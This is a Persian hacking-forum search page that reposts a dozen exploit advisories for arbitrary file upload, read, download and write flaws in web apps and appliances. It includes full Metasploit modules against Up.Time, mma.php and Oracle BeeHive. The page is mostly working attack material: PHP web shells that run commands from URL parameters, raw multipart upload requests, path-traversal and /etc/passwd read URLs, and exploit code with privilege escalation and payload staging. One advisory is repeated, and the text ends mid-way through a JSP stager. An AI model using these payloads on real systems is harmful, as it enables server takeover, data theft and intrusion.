رفتن به مطلب

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های 'arbitrary'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


تالارهای گفتگو

  • AnonySec
    • قوانین و اساسنامه ی انجمن
    • آخرین خبرها
    • اطلاعیه ها
    • مدیران
    • دوره های آموزشی
    • انتقادات پیشنهادات
  • آموزش های تخصصی
    • برنامه نویسی
    • هکینگ
    • امنیت
    • شبکه
    • سخت افزار
    • متفرقه
  • پروژه های شرکت
    • پروژه های نفوذ به سایت
    • پروژه های ساخت نرم افزار
    • پروژه های ساخت سایت
  • مسابقات
    • مسابقات امنیت و هکینگ
    • مسابقات برنامه نویسی
    • مسابقات کرکینگ
  • پرسش و پاسخ (FAQ)
    • سوالات و مشکلات پیرامون برنامه نویسی
    • سوالات و مشکلات پیرامون هکینگ
    • سوالات و مشکلات پیرامون امنیت
    • سوالات و مشکلات پیرامون شبکه
    • سوالات و مشکلات پیرامون سخت افزار
    • سوالات و مشکلات پیرامون سیستم عامل
    • سوالات و درخواست های متفرقه
  • سیستم عامل
    • ویندوز
    • لینوکس
    • کالی لینوکس
    • اندروید
    • اپل
  • بخش ویژه (مخصوص اعضای ویژه)
    • هکینگ
    • امنیت
    • شبکه
    • متفرقه
  • عمومی
    • توسعه دهندگان
    • ترفند های متفرقه
    • گرافیک
    • ربات تلگرام
  • بحث آزاد علمی
    • عمران و معماری
    • الکتروتکنیک
    • کتابخانه سراسری
  • بخش دریافت
    • دانلود نرم افزار
  • آرشیو
    • بایگانی

دسته ها

  • Articles

28 نتیجه پیدا شد

  1. Hacking

    # # # # # # Exploit Title: Vanguard - Marketplace Digital Products PHP 1.4 - Arbitrary File Upload # Dork: N/A # Date: 11.12.2017 # Vendor Homepage: https://www.codegrape.com/user/Vanguard/portfolio # Software Link: https://www.codegrape.com/item/vanguard-marketplace-digital-products-php/15825 # Demo: http://vanguard-demo.esy.es/ # Version: 1.4 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an users upload arbitrary file.... # # Vulnerable Source: # ..................... # $row = $row->fetch(PDO::FETCH_ASSOC); # $folder_name = $row['id'] * 2; # $folder_name_2 = $folder_name * 5; # $check_dir1 = 'uploads/'.$folder_name; # $check_dir2 = $check_dir.'/'.$folder_name_2; # if (!is_dir($check_dir1)) { mkdir($check_dir1); } # if (!is_dir($check_dir2)) { mkdir($check_dir2); } # $thumbnail_path = $check_dir1."/".basename($_FILES['thumbnail_file']['name']); # $preview_path = $check_dir1."/".basename($_FILES['preview_file']['name']); # $main_path = $check_dir2."/".basename($_FILES['main_file']['name']); # $error = 0; # $upload_path = './'; # ..................... # # Proof of Concept: # # Users Add a new product/Add a product preview... # # http://localhost/[PATH]/ # http://localhost/[PATH]/uploads/[FOLDER_NAME]/[FILE].php # # # # # #
  2. # Exploit Title: Unauthenticated Arbitrary File Upload # Date: November 12, 2017 # Exploit Author: Colette Chamberland # Author contact: [email protected] # Author homepage: https://defiant.com # Vendor Homepage: https://accesspressthemes.com/ # Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446 # Version: < 3.2.0 # Tested on: Wordpress 4.x # CVE : CVE-2017-16949 Description: Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows the attacker to upload anything they want, bypassing the filters. PoC: POST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1 Host:server User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792 Content-Length: 264 Referer: http://target.com/ Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6; Connection: close Upgrade-Insecure-Requests: 1 -----------------------------7230359611602921801124357792 Content-Disposition: form-data; name="qqfile"; filename="myshell.php" Content-Type: text/php <?php echo shell_exec($_GET['e'].' 2>&1'); ?> -----------------------------7230359611602921801124357792--
  3. Title: Meinberg LANTIME Web Configuration Utility - Arbitrary File Read Author: Jakub Palaczynski CVE: CVE-2017-16787 Exploit tested on: ================== Meinberg LANTIME Web Configuration Utility 6.16.008 Vulnerability affects: ====================== All LTOS6 firmware releases before 6.24.004 Vulnerability: ************** Arbitrary File Read: ==================== It is possible to read arbitrary file on the system with root permissions Proof of Concept: First instance: https://host/cgi-bin/mainv2?value=800&showntpclientipinfo=xxx&ntpclientcounterlogfile=/etc/passwd&lcs=xxx Info-User user is able to read any file on the system with root permissions. Second instance: User with Admin-User access is able to read any file on the system via firmware update functionality. Curl accepts "file" schema which actually downloads file from the filesystem. Then it is possible to download /upload/update file which contains content of requested file. Contact: ======== Jakub[dot]Palaczynski[at]gmail[dot]com
  4. Exploit Title: Monstra CMS - 3.0.4 RCE Vendor Homepage: http://monstra.org/ Software Link: https://bitbucket.org/Awilum/monstra/downloads/monstra-3.0.4.zip Discovered by: Ishaq Mohammed Contact: https://twitter.com/security_prince Website: https://about.me/security-prince Category: webapps Platform: PHP Advisory Link: https://blogs.securiteam.com/index.php/archives/3559 Description: MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to a remote command execution on the remote server. Vulnerable Code: https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php line 19: public static function main() { // Array of forbidden types $forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht', 'php', 'phtml', 'php3', 'php4', 'php5', 'phps', 'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh', 'ksh', 'bsh', 'c', 'htaccess', 'htpasswd', 'exe', 'scr', 'dll', 'msi', 'vbs', 'bat', 'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty'); Proof of Concept Steps to Reproduce: 1. Login with a valid credentials of an Editor 2. Select Files option from the Drop-down menu of Content 3. Upload a file with PHP (uppercase)extension containing the below code: <?php $cmd=$_GET['cmd']; system($cmd); ?> 4. Click on Upload 5. Once the file is uploaded Click on the uploaded file and add ?cmd= to the URL followed by a system command such as whoami,time,date etc. Recommended Patch: We were not able to get the vendor to respond in any way, the software appears to have been left abandoned without support – though this is not an official status on their site (last official patch was released on 2012-11-29), the GitHub appears a bit more active (last commit from 2 years ago). The patch that addresses this bug is available here: https://github.com/monstra-cms/monstra/issues/426
  5. Automated Logic WebCTRL 6.1 Path Traversal Arbitrary File Write Vendor: Automated Logic Corporation Product web page: http://www.automatedlogic.com Affected version: ALC WebCTRL, SiteScan Web 6.1 and prior ALC WebCTRL, i-Vu 6.0 and prior ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior Summary: WebCTRL®, Automated Logic's web-based building automation system, is known for its intuitive user interface and powerful integration capabilities. It allows building operators to optimize and manage all of their building systems - including HVAC, lighting, fire, elevators, and security - all within a single HVAC controls platform. It's everything they need to keep occupants comfortable, manage energy conservation measures, identify key operational problems, and validate the results. Desc: The vulnerability is triggered by an authenticated user that can use the manualcommand console in the management panel of the affected application. The ManualCommand() function in ManualCommand.js allows users to perform additional diagnostics and settings overview by using pre-defined set of commands. This can be exploited by using the echo command to write and/or overwrite arbitrary files on the system including directory traversal throughout the system. Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601) Apache-Coyote/1.1 Apache Tomcat/7.0.42 CJServer/1.1 Java/1.7.0_25-b17 Java HotSpot Server VM 23.25-b01 Ant 1.7.0 Axis 1.4 Trove 2.0.2 Xalan Java 2.4.1 Xerces-J 2.6.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5430 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5430.php CVE ID: CVE-2017-9640 CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9640 30.01.2017 -- PoC: GET /_common/servlet/lvl5/manualcommand?wbs=251&action=echo%20peend>..\touch.txt&id=7331 HTTP/1.1 Host: TARGET --- GET http://TARGET/touch.txt HTTP/1.1 peend
  6. Hacking

    # # # # # # Exploit Title: WYSIWYG HTML Editor PRO 1.0 - Arbitrary File Download # Dork: N/A # Date: 28.08.2017 # Vendor Homepage: http://nelliwinne.net/ # Software Link: https://codecanyon.net/item/wysiwyg-html-editor-pro-php-based-editor-with-image-uploader-and-more/19012022 # Demo: http://codecanyon.nelliwinne.net/WYSIWYGEditorPRO/ # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The security obligation allows an attacker to arbitrary download files.. # # Vulnerable Source: # # ............. # <?php # $file = base64_decode($_GET['id']); # # if (file_exists($file)) { # header('Content-Description: File Transfer'); # header('Content-Type: application/octet-stream'); # header('Content-Disposition: attachment; filename="'.basename($file).'"'); # header('Expires: 0'); # header('Cache-Control: must-revalidate'); # header('Pragma: public'); # header('Content-Length: ' . filesize($file)); # readfile($file); # exit; # } # ?> # ............. # Proof of Concept: # # http://localhost/[PATH]/wysiwyg/download.php?id=[FILENAME_to_BASE64] # # Etc... # # # # #
  7. Hacking

    # # # # # # Exploit Title: WYSIWYG HTML Editor PRO 1.0 - Arbitrary File Download # Dork: N/A # Date: 28.08.2017 # Vendor Homepage: http://nelliwinne.net/ # Software Link: https://codecanyon.net/item/wysiwyg-html-editor-pro-php-based-editor-with-image-uploader-and-more/19012022 # Demo: http://codecanyon.nelliwinne.net/WYSIWYGEditorPRO/ # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The security obligation allows an attacker to arbitrary download files.. # # Vulnerable Source: # # ............. # <?php # $file = base64_decode($_GET['id']); # # if (file_exists($file)) { # header('Content-Description: File Transfer'); # header('Content-Type: application/octet-stream'); # header('Content-Disposition: attachment; filename="'.basename($file).'"'); # header('Expires: 0'); # header('Cache-Control: must-revalidate'); # header('Pragma: public'); # header('Content-Length: ' . filesize($file)); # readfile($file); # exit; # } # ?> # ............. # Proof of Concept: # # http://localhost/[PATH]/wysiwyg/download.php?id=[FILENAME_to_BASE64] # # Etc... # # # # #
  8. # # # # # # Exploit Title: Joomla! Component Joomanager 2.0.0 - Arbitrary File Download # Dork: N/A # Date: 30.08.2017 # Vendor Homepage: http://www.joomanager.com/ # Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/joomanager/ # Demo: http://www.joomanager.com/demo/realestate # Version: 2.0.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The security obligation allows an attacker to arbitrary download files.. # # Proof of Concept: # # http://localhost/[PATH]/index.php?option=com_joomanager&controller=details&task=download&path=[FILE] # # Etc.. # # # # #
  9. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'nokogiri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Th3 MMA mma.php Backdoor Arbitrary File Upload', 'Description' => %q{ This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or operating system version because of the php_uname() function. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jay Turla <@shipcod3>', ], 'References' => [ ['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor ], 'Privileged' => false, 'Payload' => { 'Space' => 10000, 'DisableNops' => true }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['mma file uploader', {} ] ], 'DisclosureDate' => 'Apr 2 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]), ],self.class) # sometimes it is under host/images/mma.php so you may want to set this one end def has_input_name?(nodes, name) nodes.select { |e| e.attributes['name'].value == name }.empty? ? false : true end def check uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res n = ::Nokogiri::HTML(res.body) form = n.at('form[@id="uploader"]') inputs = form.search('input') if has_input_name?(inputs, 'file') && has_input_name?(inputs, '_upl') return Exploit::CheckCode::Appears end end Exploit::CheckCode::Safe end def exploit uri = normalize_uri(target_uri.path) payload_name = "#{rand_text_alpha(5)}.php" print_status("#{peer} - Trying to upload #{payload_name} to mma.php Backdoor") data = Rex::MIME::Message.new data.add_part('Upload', nil, nil, 'form-data; name="_upl"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"") post_data = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.body =~ /uplod d0n3 in SAME file/ print_good("#{peer} - Our payload #{payload_name} has been uploaded. Calling payload...") register_files_for_cleanup(payload_name) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'Connection Timed Out') end send_request_cgi({ 'uri' => normalize_uri(payload_name), 'method' => 'GET' }) end end
  10. require 'msf/core' require 'nokogiri' class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload', 'Description' => %q{ This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0. The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php, which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated by the vendor. Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it can still be bypassed and gain privilege escalation, and allows the attacker to upload file again, and execute arbitrary commands. }, 'License' => MSF_LICENSE, 'Author' => [ 'Denis Andzakovic', # Found file upload bug in post2file.php in 2013 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>' ], 'References' => [ ['EDB', '37888'], ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => 'true', 'DefaultTarget' => 0, # The post2file.php vuln was reported in 2013 by Denis Andzakovic. And then on Aug 2015, # it was discovered again by Ewerson 'Crash' Guimaraes. 'DisclosureDate' => 'Nov 18 2013' )) register_options( [ Opt::RPORT(9999), OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample']) ], self.class) register_advanced_options( [ OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\\Program Files\\uptime software\\']), OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']), OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\\windows\\system32\\cmd.exe']) ], self.class) end def print_status(msg='') super("#{rhost}:#{rport} - #{msg}") end def print_error(msg='') super("#{rhost}:#{rport} - #{msg}") end def print_good(msg='') super("#{rhost}:#{rport} - #{msg}") end # Application Check def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless res vprint_error("Connection timed out.") return Exploit::CheckCode::Unknown end n = Nokogiri::HTML(res.body) uptime_text = n.at('//ul[@id="uptimeInfo"]//li[contains(text(), "up.time")]') if uptime_text version = uptime_text.text.scan(/up\.time ([\d\.]+)/i).flatten.first vprint_status("Found version: #{version}") if version >= '7.4.0' && version <= '7.5.0' return Exploit::CheckCode::Appears end end Exploit::CheckCode::Safe end def create_exec_service(*args) cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args res_service = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.php'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_get' => { 'section' => 'ERDCInstance', 'subsection' => 'add', }, 'vars_post' => { 'initialERDCId' => '20', 'target' => '1', 'targetType' => 'systemList', 'systemList' => '1', 'serviceGroupList' => '-10', 'initialMode' => 'standard', 'erdcName' => 'Exploit', 'erdcInitialName' => '', 'erdcDescription' => 'Exploit', 'hostButton' => 'system', 'erdc_id' => '20', 'forceReload' => '0', 'operation' => 'standard', 'erdc_instance_id' => '', 'label_[184]' => 'Script Name', 'value_[184]' => cmd, 'id_[184]' => 'process', 'name_[process]' => '184', 'units_[184]' => '', 'guiBasic_[184]' => '1', 'inputType_[184]' => 'GUIString', 'screenOrder_[184]' => '1', 'parmType_[184]' => '1', 'label_[185]' => 'Arguments', 'value_[185]' => cmdargs, 'id_[185]' => 'args', 'name_[args]' => '185', 'units_[185]' => '', 'guiBasic_[185]' => '1', 'inputType_[185]' => 'GUIString', 'screenOrder_[185]' => '2', 'parmType_[185]' => '1', 'label_[187]' => 'Output', 'can_retain_[187]' => 'false', 'comparisonWarn_[187]' => '-1', 'comparison_[187]' => '-1', 'id_[187]' => 'value_critical_output', 'name_[output]' => '187', 'units_[187]' => '', 'guiBasic_[187]' => '1', 'inputType_[187]' => 'GUIString', 'screenOrder_[187]' => '4', 'parmType_[187]' => '2', 'label_[189]' => 'Response time', 'can_retain_[189]' => 'false', 'comparisonWarn_[189]' => '-1', 'comparison_[189]' => '-1', 'id_[189]' => 'value_critical_timer', 'name_[timer]' => '189', 'units_[189]' => 'ms', 'guiBasic_[189]' => '0', 'inputType_[189]' => 'GUIInteger', 'screenOrder_[189]' => '6', 'parmType_[189]' => '2', 'timing_[erdc_instance_monitored]' => '1', 'timing_[timeout]' => '60', 'timing_[check_interval]' => '10', 'timing_[recheck_interval]' => '1', 'timing_[max_rechecks]' => '3', 'alerting_[notification]' => '1', 'alerting_[alert_interval]' => '120', 'alerting_[alert_on_critical]' => '1', 'alerting_[alert_on_warning]' => '1', 'alerting_[alert_on_recovery]' => '1', 'alerting_[alert_on_unknown]' => '1', 'time_period_id' => '1', 'pageFinish' => 'Finish', 'pageContinue' => 'Continue...', 'isWizard' => '1', 'wizardPage' => '2', 'wizardNumPages' => '2', 'wizardTask' => 'pageFinish', 'visitedPage[1]' => '1', 'visitedPage[2]' => '1' }) end def exploit vprint_status('Trying to login...') # Application Login res_auth = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) unless res_auth fail_with(Failure::Unknown, 'Connection timed out while trying to login') end # Check OS phpfile_name = rand_text_alpha(10) if res_auth.headers['Server'] =~ /Unix/ vprint_status('Found Linux installation - Setting appropriated PATH') phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph') uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards') cmdargs = "#{uploadpath}#{phpfile_name}.txt" cmd = phppath else vprint_status('Found Windows installation - Setting appropriated PATH') phppath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'apache\\php\\php.exe') uploadpath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'uptime\\GUI\\wizards\\') cmd = datastore['CmdPath'] cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\"" end if res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") print_good('Login success') # Privilege escalation getting user ID res_priv = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'main.php'), 'vars_get' => { 'page' => 'Users', 'subPage' => 'UserContainer' }, 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) unless res_priv fail_with(Failure::Unknown, 'Connection timed out while getting userID.') end matchdata = res_priv.body.match(/UPTIME\.CurrentUser\.userId\.*/) unless matchdata fail_with(Failure::Unknown, 'Unable to find userID for escalation') end get_id = matchdata[0].gsub(/[^\d]/, '') vprint_status('Escalating privileges...') # Privilege escalation post res_priv_elev = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.php'), 'vars_get' => { 'section' => 'UserContainer', 'subsection' => 'edit', 'id' => "#{get_id}" }, 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_post' => { 'operation' => 'submit', 'disableEditOfUsernameRoleGroup' => 'false', 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'passwordConfirm' => datastore['PASSWORD'], 'firstname' => rand_text_alpha(10), 'lastname' => rand_text_alpha(10), 'location' => '', 'emailaddress' => '', 'emailtimeperiodid' => '1', 'phonenumber' => '', 'phonenumbertimeperiodid' => '1', 'windowshost' => '', 'windowsworkgroup' => '', 'windowspopuptimeperiodid' => '1', 'landingpage' => 'MyPortal', 'isonvacation' => '0', 'receivealerts' => '0', 'activexgraphs' => '0', 'newuser' => 'on', 'newuser' => '1', 'userroleid' => '1', 'usergroupid[]' => '1' } ) unless res_priv_elev fail_with(Failure::Unknown, 'Connection timed out while escalating...') end # Refresing perms vprint_status('Refreshing perms...') res_priv = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php?loggedout'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) unless res_priv fail_with(Failure::Unknown, 'Connection timed out while refreshing perms') end res_auth = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) unless res_auth fail_with(Failure::Unknown, 'Connection timed out while authenticating...') end if res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") print_good('Priv. Escalation success') end # CREATING Linux EXEC Service if res_auth.headers['Server'] =~ /Unix/ vprint_status('Creating Linux Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) else # CREATING Windows EXEC Service# vprint_status('Creating Windows Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) end # Upload file vprint_status('Uploading file...') up_res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'), 'vars_post' => { 'file_name' => "#{phpfile_name}.txt", 'script' => payload.encoded } ) unless up_res fail_with(Failure::Unknown, 'Connection timed out while uploading file.') end vprint_status('Checking Uploaded file...') res_up_check = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wizards', "#{phpfile_name}.txt") ) if res_up_check && res_up_check.code == 200 print_good("File found: #{phpfile_name}") else print_error('File not found') return end # Get Monitor ID vprint_status('Fetching Monitor ID...') res_mon_id = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'ajax', 'jsonQuery.php'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_get' => { 'query' => 'GET_SERVICE_PAGE_ERDC_LIST', 'iDisplayStart' => '0', 'iDisplayLength' => '10', 'sSearch' => 'Exploit' } ) unless res_mon_id fail_with(Failure::Unknown, 'Connection timed out while fetching monitor ID') end matchdata = res_mon_id.body.match(/id=?[^>]*>/) unless matchdata fail_with(Failure::Unknown, 'No monitor ID found in HTML body. Unable to continue.') end mon_get_id = matchdata[0].gsub(/[^\d]/, '') print_good("Monitor id aquired:#{mon_get_id}") # Executing monitor send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.php'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_post' => { 'section' => 'RunERDCInstance', 'subsection' => 'view', 'id' => mon_get_id, 'name' => 'Exploit' } ) else print_error('Cookie not found') end end end
  11. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability found within the Up.Time monitoring server 7.2 and below. A malicious entity can upload a PHP file into the webroot without authentication, leading to arbitrary code execution. Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use exploits/multi/http/uptime_file_upload_2. }, 'Author' => [ 'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '100423' ], [ 'BID', '64031'], [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ] ], 'Payload' => { 'Space' => 10000, # just a big enough number to fit any PHP payload 'DisableNops' => true }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Up.Time 7.0/7.2', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 19 2013')) register_options([ OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']), Opt::RPORT(9999) ], self.class) end def check uri = target_uri.path res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'wizards', 'post2file.php') }) if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Uploading PHP to Up.Time server") uri = target_uri.path @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self => true) post_data = ({ "file_name" => @payload_name, "script" => php_payload }) print_status("#{peer} - Uploading payload #{@payload_name}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'wizards', 'post2file.php'), 'vars_post' => post_data, }) unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/ fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload #{@payload_name}") res = send_request_cgi({ 'uri' => normalize_uri(uri, 'wizards', @payload_name), 'method' => 'GET' }) end end
  12. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload", 'Description' => %q{ This module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method found in voice-servlet can be abused to write a malicious file onto the target machine, and gain remote arbitrary code execution under the context of SYSTEM. Authentication is not required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <steventhomasseeley[at]gmail.com>', # Source Incite. Vulnerability discovery, PoC 'sinn3r' # MSF module ], 'References' => [ [ 'ZDI', '15-550'], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html' ] ], 'DefaultOptions' => { 'RPORT' => 7777 }, 'Platform' => 'win', 'Targets' => [ ['Oracle Beehive 2', {}] ], 'Privileged' => true, 'DisclosureDate' => "Nov 10 2015", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/']) ], self.class) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa/')) if res.nil? vprint_error("Connection timed out.") return Exploit::CheckCode::Unknown elsif res && (res.code == 403 || res.code == 200) return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit unless check == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'Target does not have voice-servlet') end # Init some names # We will upload to: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\prompt-qa\ exe_name = "#{Rex::Text.rand_text_alpha(5)}.exe" stager_name = "#{Rex::Text.rand_text_alpha(5)}.jsp" print_status("Stager name is: #{stager_name}") print_status("Executable name is: #{exe_name}") register_files_for_cleanup("../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/#{stager_name}") # Ok fire! print_status("Uploading stager...") res = upload_stager(stager_name, exe_name) # Hmm if we fail to upload the stager, no point to continue. unless res fail_with(Failure::Unknown, 'Connection timed out.') end print_status("Uploading payload...") upload_payload(stager_name) end # Our stager is basically a backdoor that allows us to upload an executable with a POST request. def get_jsp_stager(exe_name) jsp = %Q|<%@ page import="java.io.*" %> <% ByteArrayOutputStream buf = new ByteArrayOutputStream(); BufferedReader reader = request.getReader(); int tmp; while ((tmp = reader.read()) != -1) { buf.write(tmp); } FileOutputStream fostream = new FileOutputStream("#{exe_name}"); buf.writeTo(fostream); 